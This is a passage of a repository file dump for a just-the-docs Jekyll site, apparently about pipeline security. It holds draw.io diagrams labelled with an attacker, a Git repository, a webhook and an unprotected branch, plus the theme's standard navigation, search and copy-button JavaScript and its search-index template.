style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"319\" y=\"186\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"348.68\" y=\"250\" as=\"sourcePoint\" />\n            <mxPoint x=\"348.68\" y=\"214\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Git&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"319\" y=\"286.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-104\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"332\" y=\"256.5\" width=\"28\" height=\"36.4\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-105\" value=\"\" style=\"sketch=0;pointerEvents=1;shadow=0;dashed=0;html=1;strokeColor=none;fillColor=#505050;labelPosition=center;verticalLabelPosition=bottom;verticalAlign=top;outlineConnect=0;align=center;shape=mxgraph.office.devices.video_camera;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"271\" y=\"264.7\" width=\"40\" height=\"20\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-106\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Monitoring&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"263\" y=\"284.7\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-107\" value=\"\" style=\"sketch=0;outlineConnect=0;fillColor=#f8cecc;strokeColor=#b85450;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.git_repository;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"335\" y=\"370\" width=\"28\" height=\"36.4\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-108\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"348.68\" y=\"364\" as=\"sourcePoint\" />\n            <mxPoint x=\"348.68\" y=\"328\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-109\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Unprotected Branch&lt;br&gt;&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"409\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/webhook.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:37:43.024Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"e4XdBQgUyUj6U3sjBgBU\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"454.5\" y=\"255.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"451\" y=\"316\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"368\" y=\"272\" as=\"sourcePoint\" />\n            <mxPoint x=\"438\" y=\"272\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"311.5\" y=\"153\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"300.5\" y=\"192\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-11\" value=\"\" style=\"endArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"331.18\" y=\"219\" as=\"sourcePoint\" />\n            <mxPoint x=\"331.18\" y=\"247\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-18\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"165\" y=\"234\" width=\"54.19\" height=\"70.41\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-19\" value=\"Infrastructure\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"148\" y=\"311\" width=\"88\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-23\" value=\"\" style=\"shape=mxgraph.signs.safety.high_voltage_1;html=1;pointerEvents=1;fillColor=#000000;strokeColor=none;verticalLabelPosition=bottom;verticalAlign=top;align=center;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"321\" y=\"293\" width=\"19\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-24\" value=\"\" style=\"image;aspect=fixed;perimeter=ellipsePerimeter;html=1;align=center;shadow=0;dashed=0;fontColor=#4277BB;labelBackgroundColor=default;fontSize=12;spacingTop=3;image=img/lib/ibm/miscellaneous/ibm_public_cloud.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"310\" y=\"253\" width=\"41\" height=\"31.57\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-26\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Webhook&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"300.5\" y=\"338\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-27\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"226\" y=\"274\" as=\"sourcePoint\" />\n            <mxPoint x=\"296\" y=\"274\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-28\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Trigger&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"231\" y=\"237\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/js/just-the-docs.js",
    "content": "---\n---\n(function (jtd, undefined) {\n\n// Event handling\n\njtd.addEvent = function(el, type, handler) {\n  if (el.attachEvent) el.attachEvent('on'+type, handler); else el.addEventListener(type, handler);\n}\njtd.removeEvent = function(el, type, handler) {\n  if (el.detachEvent) el.detachEvent('on'+type, handler); else el.removeEventListener(type, handler);\n}\njtd.onReady = function(ready) {\n  // in case the document is already rendered\n  if (document.readyState!='loading') ready();\n  // modern browsers\n  else if (document.addEventListener) document.addEventListener('DOMContentLoaded', ready);\n  // IE <= 8\n  else document.attachEvent('onreadystatechange', function(){\n      if (document.readyState=='complete') ready();\n  });\n}\n\n// Show/hide mobile menu\n\nfunction initNav() {\n  jtd.addEvent(document, 'click', function(e){\n    var target = e.target;\n    while (target && !(target.classList && target.classList.contains('nav-list-expander'))) {\n      target = target.parentNode;\n    }\n    if (target) {\n      e.preventDefault();\n      target.parentNode.classList.toggle('active');\n    }\n  });\n\n  const siteNav = document.getElementById('site-nav');\n  const mainHeader = document.getElementById('main-header');\n  const menuButton = document.getElementById('menu-button');\n\n  jtd.addEvent(menuButton, 'click', function(e){\n    e.preventDefault();\n\n    if (menuButton.classList.toggle('nav-open')) {\n      siteNav.classList.add('nav-open');\n      mainHeader.classList.add('nav-open');\n    } else {\n      siteNav.classList.remove('nav-open');\n      mainHeader.classList.remove('nav-open');\n    }\n  });\n\n  {%- if site.search_enabled != false and site.search.button %}\n  const searchInput = document.getElementById('search-input');\n  const searchButton = document.getElementById('search-button');\n\n  jtd.addEvent(searchButton, 'click', function(e){\n    e.preventDefault();\n\n    mainHeader.classList.add('nav-open');\n    searchInput.focus();\n  });\n  {%- endif %}\n}\n\n{%- if site.search_enabled != false %}\n// Site search\n\nfunction initSearch() {\n  var request = new XMLHttpRequest();\n  request.open('GET', '{{ \"assets/js/search-data.json\" | relative_url }}', true);\n\n  request.onload = function(){\n    if (request.status >= 200 && request.status < 400) {\n      var docs = JSON.parse(request.responseText);\n\n      lunr.tokenizer.separator = {{ site.search.tokenizer_separator | default: site.search_tokenizer_separator | default: \"/[\\s\\-/]+/\" }}\n\n      var index = lunr(function(){\n        this.ref('id');\n        this.field('title', { boost: 200 });\n        this.field('content', { boost: 2 });\n        {%- if site.search.rel_url != false %}\n        this.field('relUrl');\n        {%- endif %}\n        this.metadataWhitelist = ['position']\n\n        for (var i in docs) {\n          {% include lunr/custom-index.js %}\n          this.add({\n            id: i,\n            title: docs[i].title,\n            content: docs[i].content,\n            {%- if site.search.rel_url != false %}\n            relUrl: docs[i].relUrl\n            {%- endif %}\n          });\n        }\n      });\n\n      searchLoaded(index, docs);\n    } else {\n      console.log('Error loading ajax request. Request status:' + request.status);\n    }\n  };\n\n  request.onerror = function(){\n    console.log('There was a connection error');\n  };\n\n  request.send();\n}\n\nfunction searchLoaded(index, docs) {\n  var index = index;\n  var docs = docs;\n  var searchInput = document.getElementById('search-input');\n  var searchResults = document.getElementById('search-results');\n  var mainHeader = document.getElementById('main-header');\n  var currentInput;\n  var currentSearchIndex = 0;\n\n  function showSearch() {\n    document.documentElement.classList.add('search-active');\n  }\n\n  function hideSearch() {\n    document.documentElement.classList.remove('search-active');\n  }\n\n  function update() {\n    currentSearchIndex++;\n\n    var input = searchInput.value;\n    if (input === '') {\n      hideSearch();\n    } else {\n      showSearch();\n      // scroll search input into view, workaround for iOS Safari\n      window.scroll(0, -1);\n      setTimeout(function(){ window.scroll(0, 0); }, 0);\n    }\n    if (input === currentInput) {\n      return;\n    }\n    currentInput = input;\n    searchResults.innerHTML = '';\n    if (input === '') {\n      return;\n    }\n\n    var results = index.query(function (query) {\n      var tokens = lunr.tokenizer(input)\n      query.term(tokens, {\n        boost: 10\n      });\n      query.term(tokens, {\n        wildcard: lunr.Query.wildcard.TRAILING\n      });\n    });\n\n    if ((results.length == 0) && (input.length > 2)) {\n      var tokens = lunr.tokenizer(input).filter(function(token, i) {\n        return token.str.length < 20;\n      })\n      if (tokens.length > 0) {\n        results = index.query(function (query) {\n          query.term(tokens, {\n            editDistance: Math.round(Math.sqrt(input.length / 2 - 1))\n          });\n        });\n      }\n    }\n\n    if (results.length == 0) {\n      var noResultsDiv = document.createElement('div');\n      noResultsDiv.classList.add('search-no-result');\n      noResultsDiv.innerText = 'No results found';\n      searchResults.appendChild(noResultsDiv);\n\n    } else {\n      var resultsList = document.createElement('ul');\n      resultsList.classList.add('search-results-list');\n      searchResults.appendChild(resultsList);\n\n      addResults(resultsList, results, 0, 10, 100, currentSearchIndex);\n    }\n\n    function addResults(resultsList, results, start, batchSize, batchMillis, searchIndex) {\n      if (searchIndex != currentSearchIndex) {\n        return;\n      }\n      for (var i = start; i < (start + batchSize); i++) {\n        if (i == results.length) {\n          return;\n        }\n        addResult(resultsList, results[i]);\n      }\n      setTimeout(function() {\n        addResults(resultsList, results, start + batchSize, batchSize, batchMillis, searchIndex);\n      }, batchMillis);\n    }\n\n    function addResult(resultsList, result) {\n      var doc = docs[result.ref];\n\n      var resultsListItem = document.createElement('li');\n      resultsListItem.classList.add('search-results-list-item');\n      resultsList.appendChild(resultsListItem);\n\n      var resultLink = document.createElement('a');\n      resultLink.classList.add('search-result');\n      resultLink.setAttribute('href', doc.url);\n      resultsListItem.appendChild(resultLink);\n\n      var resultTitle = document.createElement('div');\n      resultTitle.classList.add('search-result-title');\n      resultLink.appendChild(resultTitle);\n\n      // note: the SVG svg-doc is only loaded as a Jekyll include if site.search_enabled is true; see _includes/icons/icons.html\n      var resultDoc = document.createElement('div');\n      resultDoc.classList.add('search-result-doc');\n      resultDoc.innerHTML = '<svg viewBox=\"0 0 24 24\" class=\"search-result-icon\"><use xlink:href=\"#svg-doc\"></use></svg>';\n      resultTitle.appendChild(resultDoc);\n\n      var resultDocTitle = document.createElement('div');\n      resultDocTitle.classList.add('search-result-doc-title');\n      resultDocTitle.innerHTML = doc.doc;\n      resultDoc.appendChild(resultDocTitle);\n      var resultDocOrSection = resultDocTitle;\n\n      if (doc.doc != doc.title) {\n        resultDoc.classList.add('search-result-doc-parent');\n        var resultSection = document.createElement('div');\n        resultSection.classList.add('search-result-section');\n        resultSection.innerHTML = doc.title;\n        resultTitle.appendChild(resultSection);\n        resultDocOrSection = resultSection;\n      }\n\n      var metadata = result.matchData.metadata;\n      var titlePositions = [];\n      var contentPositions = [];\n      for (var j in metadata) {\n        var meta = metadata[j];\n        if (meta.title) {\n          var positions = meta.title.position;\n          for (var k in positions) {\n            titlePositions.push(positions[k]);\n          }\n        }\n        if (meta.content) {\n          var positions = meta.content.position;\n          for (var k in positions) {\n            var position = positions[k];\n            var previewStart = position[0];\n            var previewEnd = position[0] + position[1];\n            var ellipsesBefore = true;\n            var ellipsesAfter = true;\n            for (var k = 0; k < {{ site.search.preview_words_before | default: 5 }}; k++) {\n              var nextSpace = doc.content.lastIndexOf(' ', previewStart - 2);\n              var nextDot = doc.content.lastIndexOf('. ', previewStart - 2);\n              if ((nextDot >= 0) && (nextDot > nextSpace)) {\n                previewStart = nextDot + 1;\n                ellipsesBefore = false;\n                break;\n              }\n              if (nextSpace < 0) {\n                previewStart = 0;\n                ellipsesBefore = false;\n                break;\n              }\n              previewStart = nextSpace + 1;\n            }\n            for (var k = 0; k < {{ site.search.preview_words_after | default: 10 }}; k++) {\n              var nextSpace = doc.content.indexOf(' ', previewEnd + 1);\n              var nextDot = doc.content.indexOf('. ', previewEnd + 1);\n              if ((nextDot >= 0) && (nextDot < nextSpace)) {\n                previewEnd = nextDot;\n                ellipsesAfter = false;\n                break;\n              }\n              if (nextSpace < 0) {\n                previewEnd = doc.content.length;\n                ellipsesAfter = false;\n                break;\n              }\n              previewEnd = nextSpace;\n            }\n            contentPositions.push({\n              highlight: position,\n              previewStart: previewStart, previewEnd: previewEnd,\n              ellipsesBefore: ellipsesBefore, ellipsesAfter: ellipsesAfter\n            });\n          }\n        }\n      }\n\n      if (titlePositions.length > 0) {\n        titlePositions.sort(function(p1, p2){ return p1[0] - p2[0] });\n        resultDocOrSection.innerHTML = '';\n        addHighlightedText(resultDocOrSection, doc.title, 0, doc.title.length, titlePositions);\n      }\n\n      if (contentPositions.length > 0) {\n        contentPositions.sort(function(p1, p2){ return p1.highlight[0] - p2.highlight[0] });\n        var contentPosition = contentPositions[0];\n        var previewPosition = {\n          highlight: [contentPosition.highlight],\n          previewStart: contentPosition.previewStart, previewEnd: contentPosition.previewEnd,\n          ellipsesBefore: contentPosition.ellipsesBefore, ellipsesAfter: contentPosition.ellipsesAfter\n        };\n        var previewPositions = [previewPosition];\n        for (var j = 1; j < contentPositions.length; j++) {\n          contentPosition = contentPositions[j];\n          if (previewPosition.previewEnd < contentPosition.previewStart) {\n            previewPosition = {\n              highlight: [contentPosition.highlight],\n              previewStart: contentPosition.previewStart, previewEnd: contentPosition.previewEnd,\n              ellipsesBefore: contentPosition.ellipsesBefore, ellipsesAfter: contentPosition.ellipsesAfter\n            }\n            previewPositions.push(previewPosition);\n          } else {\n            previewPosition.highlight.push(contentPosition.highlight);\n            previewPosition.previewEnd = contentPosition.previewEnd;\n            previewPosition.ellipsesAfter = contentPosition.ellipsesAfter;\n          }\n        }\n\n        var resultPreviews = document.createElement('div');\n        resultPreviews.classList.add('search-result-previews');\n        resultLink.appendChild(resultPreviews);\n\n        var content = doc.content;\n        for (var j = 0; j < Math.min(previewPositions.length, {{ site.search.previews | default: 3 }}); j++) {\n          var position = previewPositions[j];\n\n          var resultPreview = document.createElement('div');\n          resultPreview.classList.add('search-result-preview');\n          resultPreviews.appendChild(resultPreview);\n\n          if (position.ellipsesBefore) {\n            resultPreview.appendChild(document.createTextNode('... '));\n          }\n          addHighlightedText(resultPreview, content, position.previewStart, position.previewEnd, position.highlight);\n          if (position.ellipsesAfter) {\n            resultPreview.appendChild(document.createTextNode(' ...'));\n          }\n        }\n      }\n\n      {%- if site.search.rel_url != false %}\n      var resultRelUrl = document.createElement('span');\n      resultRelUrl.classList.add('search-result-rel-url');\n      resultRelUrl.innerText = doc.relUrl;\n      resultTitle.appendChild(resultRelUrl);\n      {%- endif %}\n    }\n\n    function addHighlightedText(parent, text, start, end, positions) {\n      var index = start;\n      for (var i in positions) {\n        var position = positions[i];\n        var span = document.createElement('span');\n        span.innerHTML = text.substring(index, position[0]);\n        parent.appendChild(span);\n        index = position[0] + position[1];\n        var highlight = document.createElement('span');\n        highlight.classList.add('search-result-highlight');\n        highlight.innerHTML = text.substring(position[0], index);\n        parent.appendChild(highlight);\n      }\n      var span = document.createElement('span');\n      span.innerHTML = text.substring(index, end);\n      parent.appendChild(span);\n    }\n  }\n\n  jtd.addEvent(searchInput, 'focus', function(){\n    setTimeout(update, 0);\n  });\n\n  jtd.addEvent(searchInput, 'keyup', function(e){\n    switch (e.keyCode) {\n      case 27: // When esc key is pressed, hide the results and clear the field\n        searchInput.value = '';\n        break;\n      case 38: // arrow up\n      case 40: // arrow down\n      case 13: // enter\n        e.preventDefault();\n        return;\n    }\n    update();\n  });\n\n  jtd.addEvent(searchInput, 'keydown', function(e){\n    switch (e.keyCode) {\n      case 38: // arrow up\n        e.preventDefault();\n        var active = document.querySelector('.search-result.active');\n        if (active) {\n          active.classList.remove('active');\n          if (active.parentElement.previousSibling) {\n            var previous = active.parentElement.previousSibling.querySelector('.search-result');\n            previous.classList.add('active');\n          }\n        }\n        return;\n      case 40: // arrow down\n        e.preventDefault();\n        var active = document.querySelector('.search-result.active');\n        if (active) {\n          if (active.parentElement.nextSibling) {\n            var next = active.parentElement.nextSibling.querySelector('.search-result');\n            active.classList.remove('active');\n            next.classList.add('active');\n          }\n        } else {\n          var next = document.querySelector('.search-result');\n          if (next) {\n            next.classList.add('active');\n          }\n        }\n        return;\n      case 13: // enter\n        e.preventDefault();\n        var active = document.querySelector('.search-result.active');\n        if (active) {\n          active.click();\n        } else {\n          var first = document.querySelector('.search-result');\n          if (first) {\n            first.click();\n          }\n        }\n        return;\n    }\n  });\n\n  jtd.addEvent(document, 'click', function(e){\n    if (e.target != searchInput) {\n      hideSearch();\n    }\n  });\n}\n{%- endif %}\n\n// Switch theme\n\njtd.getTheme = function() {\n  var cssFileHref = document.querySelector('[rel=\"stylesheet\"]').getAttribute('href');\n  return cssFileHref.substring(cssFileHref.lastIndexOf('-') + 1, cssFileHref.length - 4);\n}\n\njtd.setTheme = function(theme) {\n  var cssFile = document.querySelector('[rel=\"stylesheet\"]');\n  cssFile.setAttribute('href', '{{ \"assets/css/just-the-docs-\" | relative_url }}' + theme + '.css');\n}\n\n// Scroll site-nav to ensure the link to the current page is visible\n\nfunction scrollNav() {\n  const href = document.location.pathname;\n  const siteNav = document.getElementById('site-nav');\n  const targetLink = siteNav.querySelector('a[href=\"' + href + '\"], a[href=\"' + href + '/\"]');\n  if(targetLink){\n    const rect = targetLink.getBoundingClientRect();\n    siteNav.scrollBy(0, rect.top - 3*rect.height);\n  }\n}\n\n// Document ready\n\njtd.onReady(function(){\n  initNav();\n  {%- if site.search_enabled != false %}\n  initSearch();\n  {%- endif %}\n  scrollNav();\n});\n\n// Copy button on code\n\n\n{%- if site.enable_copy_code_button != false %}\n\njtd.onReady(function(){\n\n  if (!window.isSecureContext) {\n    console.log('Window does not have a secure context, therefore code clipboard copy functionality will not be available. For more details see https://web.dev/async-clipboard/#security-and-permissions');\n    return;\n  } \n  \n  var codeBlocks = document.querySelectorAll('div.highlighter-rouge, div.listingblock > div.content, figure.highlight');\n\n  // note: the SVG svg-copied and svg-copy is only loaded as a Jekyll include if site.enable_copy_code_button is true; see _includes/icons/icons.html\n  var svgCopied =  '<svg viewBox=\"0 0 24 24\" class=\"copy-icon\"><use xlink:href=\"#svg-copied\"></use></svg>';\n  var svgCopy =  '<svg viewBox=\"0 0 24 24\" class=\"copy-icon\"><use xlink:href=\"#svg-copy\"></use></svg>';\n\n  codeBlocks.forEach(codeBlock => {\n    var copyButton = document.createElement('button');\n    var timeout = null;\n    copyButton.type = 'button';\n    copyButton.ariaLabel = 'Copy code to clipboard';\n    copyButton.innerHTML = svgCopy;\n    codeBlock.append(copyButton);\n\n    copyButton.addEventListener('click', function () {\n      if(timeout === null) {\n        var code = (codeBlock.querySelector('pre:not(.lineno, .highlight)') || codeBlock.querySelector('code')).innerText;\n        window.navigator.clipboard.writeText(code);\n\n        copyButton.innerHTML = svgCopied;\n\n        var timeoutSetting = 4000;\n\n        timeout = setTimeout(function () {\n          copyButton.innerHTML = svgCopy;\n          timeout = null;\n        }, timeoutSetting);\n      }\n    });\n  });\n\n});\n\n{%- endif %}\n\n})(window.jtd = window.jtd || {});\n\n{% include js/custom.js %}\n"
  },
  {
    "path": "assets/js/zzzz-search-data.json",
    "content": "---\npermalink: /assets/js/search-data.json\n---\n{\n{%- assign i = 0 -%}\n{%- assign pages_array = \"\" | split: \"\" -%}\n{%- assign pages_array = pages_array | push: site.html_pages -%}\n{%- if site.just_the_docs.collections -%}\n  {%- for collection_entry in site.just_the_docs.collections -%}\n    {%- assign collection_key = collection_entry[0] -%}\n    {%- assign collection_value = collection_entry[1] -%}\n    {%- assign collection = site[collection_key] -%}\n    {%- if collection_value.search_exclude != true -%}\n      {%- assign pages_array = pages_array | push: collection -%}\n    {%- endif -%}\n  {%- endfor -%}\n{%- endif -%}\n{%- for pages in pages_array -%}\n  {%- for page in pages -%}\n    {%- if page.title and page.search_exclude != true -%}\n      {%- assign page_content = page.content -%}\n      {%- assign heading_level = site.search.heading_level | default: 2 -%}\n      {%- for j in (2..heading_level) -%}\n        {%- assign tag = '<h' | append: j -%}\n        {%- assign closing_tag = '</h' | append: j -%}\n        {%- assign page_content = page_content | replace: tag, '<h1' | replace: closing_tag, '</h1' -%}\n      {%- endfor -%}\n      {%- assign parts = page_content | split: '<h1' -%}\n      {%- assign title_found = false -%}\n      {%- for part in parts offset: 1 -%}\n        {%- assign titleAndContent = part | split: '</h1>' -%}\n        {%- assign title = titleAndContent[0] | replace_first: '>', '<h1>' | split: '<h1>' -%}\n        {%- assign title = title[1] | strip_html -%}\n        {%- assign content = titleAndContent[1] -%}\n        {%- assign url = page.url -%}\n        {%- if title == page.title and parts[0] == '' -%}\n          {%- assign title_found = true -%}\n        {%- else -%}\n          {%- assign id = titleAndContent[0] -%}\n          {%- assign id = id | split: 'id=\"' -%}\n          {%- if id.size == 2 -%}\n            {%- assign id = id[1] -%}\n            {%- assign id = id | split: '\"' -%}\n            {%- assign id = id[0] -%}\n            {%- capture url -%}{{ url | append: '#' | append: id }}{%- endcapture -%}\n          {%- endif -%}\n        {%- endif -%}\n  {%- unless i == 0 -%},{%- endunless -%}\n  \"{{ i }}\": {\n    \"doc\": {{ page.title | jsonify }},\n    \"title\": {{ title | jsonify }},\n    \"content\": {{ content | replace: '</h', ' . </h' | replace: '<hr', ' . <hr' | replace: '</p', ' . </p' | replace: '<ul', ' . <ul' | replace: '</ul', ' . </ul' | replace: '<ol', ' . <ol' | replace: '</ol', ' . </ol' | replace: '</tr', ' . </tr' | replace: '<li', ' | <li' | replace: '</li', ' | </li' | replace: '</td', ' | </td' | replace: '<td', ' | <td' | replace: '</th', ' | </th' | replace: '<th', ' | <th' | strip_html | remove: 'Table of contents' | normalize_whitespace | replace: '. . .', '.' | replace: '. .', '.' | replace: '| |', '|' | append: ' ' | jsonify }},\n    \"url\": \"{{ url | relative_url }}\",\n    {% include lunr/custom-data.json page=page %}\n    \"relUrl\": \"{{ url }}\"\n  }\n        {%- assign i = i | plus: 1 -%}\n      {%- endfor -%}\n      {%- unless title_found -%}\n  {%- unless i == 0 -%},{%- endunless -%}\n  \"{{ i }}\": {\n    \"doc\": {{ page.title | jsonify }},\n    \"title\": {{ page.title | jsonify }},\n    \"content\": {{ parts[0] | replace: '</h', ' . </h' | replace: '<hr', ' . <hr' | replace: '</p', ' . </p' | replace: '<ul', ' . <ul' | replace: '</ul', ' . </ul' | replace: '<ol', ' . <ol' | replace: '</ol', ' . </ol' | replace: '</tr', ' . </tr' | replace: '<li', ' | <li' | replace: '</li', ' | </li' | replace: '</td', ' | </td' | replace: '<td', ' | <td' | replace: '</th', ' | </th' | replace: '<th', ' | <th' | strip_html | remove: 'Table of contents' | normalize_whitespace | replace: '. . .', '.' | replace: '. .', '.' | replace: '| |', '|' | append: ' ' | jsonify }},\n    \"url\": \"{{ page.url | relative_url }}\",\n    {% include lunr/custom-data.json page=page %}\n    \"relUrl\": \"{{ page.url }}\"\n  }\n        {%- assign i = i | plus: 1 -%}\n      {%- endunless -%}\n    {%- endif -%}\n  {%- endfor -%}\n{%- endfor %}\n}\n"
  },
  {
    "path": "bin/just-the-docs",
